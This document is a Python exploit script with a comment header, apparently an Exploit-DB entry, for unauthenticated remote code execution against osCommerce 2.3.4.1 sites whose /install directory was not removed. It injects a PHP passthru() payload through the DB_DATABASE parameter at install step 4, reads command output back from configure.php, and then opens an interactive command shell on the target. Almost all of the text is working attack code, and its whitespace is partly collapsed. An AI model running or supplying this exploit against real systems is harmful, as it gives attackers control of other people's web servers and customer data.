# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php# Notes: The RCE doesn't need to be authenticated# Date: 26/06/2021# Exploit Author: Bryan Leong <NobodyAtall># Vendor Homepage: https://www.oscommerce.com/# Version: osCommerce 2.3.4# Tested on: Windowsimport requests
import sys
if(len(sys.argv)!=2):print("please specify the osCommerce url")print("format: python3 osCommerce2_3_4RCE.py <url>")print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")
sys.exit(0)
baseUrl = sys.argv[1]
testVulnUrl = baseUrl +'/install/install.php'defrce(command):#targeting the finish step which is step 4
targetUrl = baseUrl +'/install/install.php?step=4'
payload ="');"
payload +="passthru('"+ command +"');"# injecting system command here
payload +="/*"#injecting parameter
data ={'DIR_FS_DOCUMENT_ROOT':'./','DB_DATABASE': payload
}
response = requests.post(targetUrl, data=data)if(response.status_code ==200):#print('[*] Successfully injected payload to config file')
readCMDUrl = baseUrl +'/install/includes/configure.php'
cmd = requests.get(readCMDUrl)
commandRsl = cmd.text.split('\n')if(cmd.status_code ==200):#print('[*] System Command Execution Completed')#removing the error message abovefor i inrange(2,len(commandRsl)):print(commandRsl[i])else:return'[!] Configure.php not found'else:return'[!] Fail to inject payload'#testing vulnerability accessing the directory
test = requests.get(testVulnUrl)#checking the install directory still exist or able to access or notif(test.status_code ==200):print('[*] Install directory still available, the host likely vulnerable to the exploit.')#testing system command injectionprint('[*] Testing injecting system command to test vulnerability')
cmd ='whoami'print('User: ', end='')
err = rce(cmd)if(err !=None):print(err)
sys.exit(0)while(True):
cmd =input('RCE_SHELL$ ')
err = rce(cmd)if(err !=None):print(err)
sys.exit(0)else:print('[!] Install directory not found, the host is not vulnerable')
sys.exit(0)